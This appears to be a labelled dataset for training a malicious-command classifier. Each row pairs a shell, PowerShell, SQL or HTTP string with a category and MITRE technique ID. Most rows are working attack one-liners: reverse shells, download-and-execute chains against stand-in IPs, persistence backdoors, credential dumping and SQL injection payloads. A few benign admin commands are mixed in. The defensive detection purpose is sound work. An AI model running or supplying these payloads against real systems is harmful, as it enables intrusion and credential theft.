text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
ncat --ssl 198.51.100.239 22690 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
sudo python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
benign
0
bash
null
benign-012
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAzAC4AMAAuADEAMQAzAC4AMgAyADIALwBsAG8AYQBkAGUAcgA3ADgALgBwAHMAMQAnACkA
download_execute
5
powershell
T1027
download_execute-015
perl -e 'use Socket;$i="192.0.2.108";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
reverse_shell
3
bash
T1059
reverse_shell-010
ReGister-SCheduLeDTAsK -TaskNaME 'dBUs-hElPer' -TRigger (NEw-ScHedUlEdTasKTrigGer -Daily -At 3am) -Action (NEw-SChEDuledTasKAcTIon -ExecuTe 'C:\PRogramData\OuT.ExE') -User SYSTEM
persistence
4
powershell
T1053.005
persistence-044
110' AND BENCHMARK(5000000,MD5('a'))-- -
sql_injection
6
sql
T1190
sql_injection-036
expand \\192.0.2.68\share\stage2.cab C:\Temp\stage2.exe & C:\Temp\stage2.exe
download_execute
5
cmd
T1105
download_execute-047
sudo node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(53,"198.51.100.122",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
for p in 22 80 443 445 3389; do (echo > /dev/tcp/203.0.113.245/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
sudo tftp -g -r sys30 192.0.2.72 && chmod +x sys30 && ./sys30
download_execute
5
bash
T1105
download_execute-010
POST /login username=jenkins&remember=true
benign
0
http
null
benign-150
/bin/sh -i 5<> /dev/tcp/203.0.113.44/5555 0<&5 1>&5 2>&5
reverse_shell
3
bash
T1059.004
reverse_shell-031
regsvr32 /s /n /u /i:http://198.51.100.119:443/sys.sct scrobj.dll
reverse_shell
3
cmd
T1218.010
reverse_shell-026
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("203.0.113.7",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
Register-ScheduledTask -TaskName 'dbus-helper' -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Action (New-ScheduledTaskAction -Execute 'C:\ProgramData\tmp.exe') -User SYSTEM
persistence
4
powershell
T1053.005
persistence-044
powershell.exe -Command "Restart-Computer -ComputerName build17.contoso.test -Force"
benign
0
powershell
null
benign-129
echo 'alias ls="ls --color=auto; /tmp/.health &"' >> /home/admin/.bashrc
persistence
4
bash
T1546.004
persistence-035
cmd.exe /c "regsvr32 /s /n /u /i:http://203.0.113.40:5555/run43.sct scrobj.dll"
reverse_shell
3
cmd
T1218.010
reverse_shell-026
'; wAiTFOr DELaY '0:0:5'--
sql_injection
6
sql
T1190
sql_injection-007
/usr/bin/wget -O- https://cdn-staging.contoso.test/install.sh | sudo bash
download_execute
5
bash
T1105
download_execute-027
for p in 22 80 443 445 3389; do (echo > /dev/tcp/203.0.113.205/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
ntdSUtil "ac i Ntds" "Ifm" "CrEATe full C:\TEmp\tmp" Q Q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
sudo echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguNTEuMTAwLjQ0LzkwMDEgMD4mMQ== | base64 -d | bash
reverse_shell
3
bash
T1059.004
reverse_shell-018
scp svc_backup@203.0.113.210:/srv/out51 /tmp/ && chmod +x /tmp/out51 && /tmp/out51
download_execute
5
bash
T1105
download_execute-033
VACUUM ANALYZE users;
benign
0
sql
null
benign-143
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('203.0.113.236',5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://198.51.100.134/tmp.sct")
download_execute
5
cmd
T1218.011
download_execute-022
useradd -m -G sudo -s /bin/bash backup2 && echo 'backup2:Changeme123' | chpasswd
persistence
4
bash
T1136.001
persistence-038
/search?q=backup&sort=created_at
benign
0
http
null
benign-149
';+ExEC+maSTER..xP_dIrtree+'\\cDn-metRicS.exaMplE.org\X'--
sql_injection
6
sql
T1190
sql_injection-032
impacket-GetUserSPNs corp.example/ec2-user:'Passw0rd1' -dc-ip 192.0.2.70 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
cd /var/log/app && git pull origin main
benign
0
bash
null
benign-001
ncat --ssl 198.51.100.61 9001 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
poweRShEll -Nop -w Hidden -c "$C=New-Object NeT.SocKEts.TCPCLIenT('198.51.100.54',1337);$s=$c.GeTSTreaM();[Byte[]]$B=0..65535|%{0};WhiLE(($i=$S.Read($b,0,$b.LeNGTh)) -nE 0){$d=(New-ObjEct TExt.ASCIIENCoding).GeTString($B,0,$I);$r=(iex $d 2>&1|Out-StrInG);$S.WritE(([tExT.ENcodInG]::ASCII).GetBytES($R),0,$r.LEngTh)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
nikto -h http://192.0.2.121
reconnaissance
1
bash
T1595
reconnaissance-020
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.63/x14.ps1')
download_execute
5
powershell
T1059.001
download_execute-011
GET /products.php?id=12%27%20UNION%20SELECT%20username,password%20FROM%20users--%20- HTTP/1.1
sql_injection
6
http
T1190
sql_injection-020
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveSync' -Value 'powershell -w hidden -nop -c IEX(IWR http://198.51.100.93/agent72.ps1)'
persistence
4
powershell
T1547.001
persistence-013
gobuster dir -u http://203.0.113.12/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('203.0.113.18',8080)).GetStream())
reverse_shell
3
powershell
T1059.001
reverse_shell-048
openssl x509 -in /etc/ssl/certs/app19.acme.test.pem -noout -enddate
benign
0
bash
null
benign-108
cmd.exe /c "for /L %i in (1,1,254) do @ping -n 1 -w 100 198.51.100.%i | find "TTL""
reconnaissance
1
cmd
T1018
reconnaissance-083
ncat --ssl 198.51.100.239 4444 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
admin'-- #
sql_injection
6
sql
T1190
sql_injection-002
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgAxADYAMQAvAGEAZwBlAG4AdAAuAHAAcwAxACcAKQA=
download_execute
5
powershell
T1027
download_execute-015
gcore -o /tmp/run $(pgrep -f sshd | head -1) && strings /tmp/run* | grep -i password
credential_harvesting
2
bash
T1003.007
credential_harvesting-044
cp /tmp/pam_data53.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_data53.so' /etc/pam.d/sshd
persistence
4
bash
T1556.003
persistence-037
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,C:\ProgramData\svc88.exe" /f
persistence
4
cmd
T1547.004
persistence-024
/item?id=23%20AND%20SLEEP(15)
sql_injection
6
http
T1190
sql_injection-023
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\install.dit
credential_harvesting
2
cmd
T1003.003
credential_harvesting-069
socat OPENSSL:192.0.2.208:4444,verify=0 EXEC:/bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-038
nc -e /bin/sh 198.51.100.49 5555
reverse_shell
3
bash
T1059.004
reverse_shell-003
echo '[Desktop Entry]\nExec=/tmp/.stage2' > ~/.config/autostart/netlogond.desktop
persistence
4
bash
T1037.005
persistence-042
wget -qO- http://192.0.2.8:8000/svc.sh | sh
download_execute
5
bash
T1105
download_execute-001
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.76/stage2.ps1')
download_execute
5
powershell
T1059.001
download_execute-011
poweRshEll -C "(NEw-OBJeCT Net.WebCliEnt).DoWnloAdFilE('Http://203.0.113.157/sYS58.exe','C:\Users\Public\Sys58.ExE')" && C:\UsERS\PubLIc\syS58.exE
download_execute
5
cmd
T1105
download_execute-046
cat /var/www/app/README.md
benign
0
bash
null
benign-037
$ClIEnT = New-Object SYStem.Net.SockEts.TCPCLieNt('192.0.2.67',4444);$sTream = $cLient.GetStReam();[byTE[]]$byTeS = 0..65535|%{0};wHilE(($I = $streAM.Read($bytes, 0, $bytes.Length)) -NE 0){;$data = (NEW-ObjeCt -TypeName SyStem.TexT.ASCIIEncoDing).GetString($bYTeS,0, $i);$seNDbACk = (ieX $daTa 2>&1 | OuT-STrIng );$seNDb...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
-143; INSERT INTO users (username,password,role) VALUES ('toor','Passw0rd1','admin')--/*
sql_injection
6
sql
T1190
sql_injection-012
cmd.exe /c "regsvr32 /s /u /i:https://cdn-inventory.service.example/update67.sct scrobj.dll"
download_execute
5
cmd
T1218.010
download_execute-045
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword(); $_ }
credential_harvesting
2
powershell
T1555.004
credential_harvesting-023
git log -p | grep -iE 'password|secret|api_key' | head -n 50
credential_harvesting
2
bash
T1552.001
credential_harvesting-050
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('192.0.2.239',80);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
GET-ITemPRoperty 'HKLM:\SOFTWARE\MicRoSoft\WiNDows NT\CurREntVeRsIon\WinLogon' | SelEcT DefauLTUsErNaMe, DEFaulTPaSswoRD
credential_harvesting
2
powershell
T1552.002
credential_harvesting-067
abc' HaViNg 1=1--;%00
sql_injection
6
sql
T1190
sql_injection-042
net share & net session & net view \\app6.example.org
reconnaissance
1
cmd
T1135
reconnaissance-084
cp /etc/shadow /tmp/.stage2 && chmod 644 /tmp/.stage2
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
sudo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 198.51.100.43 443 >/tmp/f
reverse_shell
3
bash
T1059.004
reverse_shell-005
nc -e /bin/sh 198.51.100.127 5555
reverse_shell
3
bash
T1059.004
reverse_shell-003
netsh wlan show profile name="portal" key=clear
credential_harvesting
2
cmd
T1552.001
credential_harvesting-036
sudo cp /etc/shadow /tmp/.stage2 && chmod 644 /tmp/.stage2
credential_harvesting
2
bash
T1003.008
credential_harvesting-041
gobuster dir -u http://203.0.113.129/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
sudo kubectl logs deploy/worker -n staging --tail=49
benign
0
bash
null
benign-100
busybox wget http://198.51.100.221/payload -O- > /tmp/payload; sh /tmp/payload
download_execute
5
bash
T1105
download_execute-006
nikto -h http://203.0.113.118
reconnaissance
1
bash
T1595
reconnaissance-020
perl -e 'use Socket;$i="203.0.113.94";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
reverse_shell
3
bash
T1059
reverse_shell-010
impacket-GetUserSPNs contoso.test/deploy:'P@ssw0rd!' -dc-ip 192.0.2.186 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File install94.txt
credential_harvesting
2
powershell
T1558.003
credential_harvesting-021
Invoke-WebRequest -Uri https://downloads.example.com/conf.msi -OutFile $env:TEMP\conf.msi
benign
0
powershell
null
benign-051
Test-NetConnection -ComputerName 203.0.113.204 -Port 445 -InformationLevel Quiet
reconnaissance
1
powershell
T1046
reconnaissance-072
esentutl.exe /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\svc96.dit
credential_harvesting
2
cmd
T1003.003
credential_harvesting-069
GET /products.php?id=13%27%20UNION%20SELECT%20username,password%20FROM%20users--%20- HTTP/1.1
sql_injection
6
http
T1190
sql_injection-020
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\run.exe'
persistence
4
powershell
T1546.013
persistence-018
11/**/AND/**/(SELECT/**/SLEEP(10))--/**/-#
sql_injection
6
sql
T1190
sql_injection-006
echo '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]); %>' > /var/www/html/tmp29.aspx
persistence
4
bash
T1505.003
persistence-040
chmod 644 /home/www-data/projects/api/tmp11.conf
benign
0
bash
null
benign-027
-137' UNION SELECT NULL,username,password FROM users-- - --
sql_injection
6
sql
T1190
sql_injection-003
impacket-GetUserSPNs contoso.test/carol:'Summer#99' -dc-ip 192.0.2.248 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
mshta http://198.51.100.249:80/agent.hta
reverse_shell
3
cmd
T1218.005
reverse_shell-027
finDstr /sI passwORd *.xml *.Ini *.txt *.conFIg
credential_harvesting
2
cmd
T1552.001
credential_harvesting-032
Get-Content D:\Backups\app.log -Tail 31 -Wait
benign
0
powershell
null
benign-056
'; UPdATE useRs seT pASswoRD='winter2024!' WhERe UsERName='ADMin'--
sql_injection
6
sql
T1190
sql_injection-038
perl -e 'use Socket;$i="198.51.100.47";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
reverse_shell
3
bash
T1059
reverse_shell-010
expand \\192.0.2.93\share\a.cab C:\Temp\a.exe & C:\Temp\a.exe
download_execute
5
cmd
T1105
download_execute-047
sudo journalctl -u web --since "1 hour ago" | tail -n 3
benign
0
bash
null
benign-007
nikto -h http://192.0.2.140
reconnaissance
1
bash
T1595
reconnaissance-020
(crontab -l 2>/dev/null; echo "*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/198.51.100.153/8443 0>&1'") | crontab -
persistence
4
bash
T1053.003
persistence-000
49' AND (seLeCt 1 FROM (SELECt COUnT(*),cOncAt((SELeCT User()),FLOOR(RAnD(0)*2))X FROM informaTion_schEmA.TablES GROuP bY x)a)--
sql_injection
6
sql
T1190
sql_injection-030
/usr/bin/wget -qO- http://192.0.2.177:80/stage280.sh | sh
download_execute
5
bash
T1105
download_execute-001
GEt-ADCompUter -FiLter * | SELect-Object -EXpaNdProPerty DNSHostName
reconnaissance
1
powershell
T1018
reconnaissance-025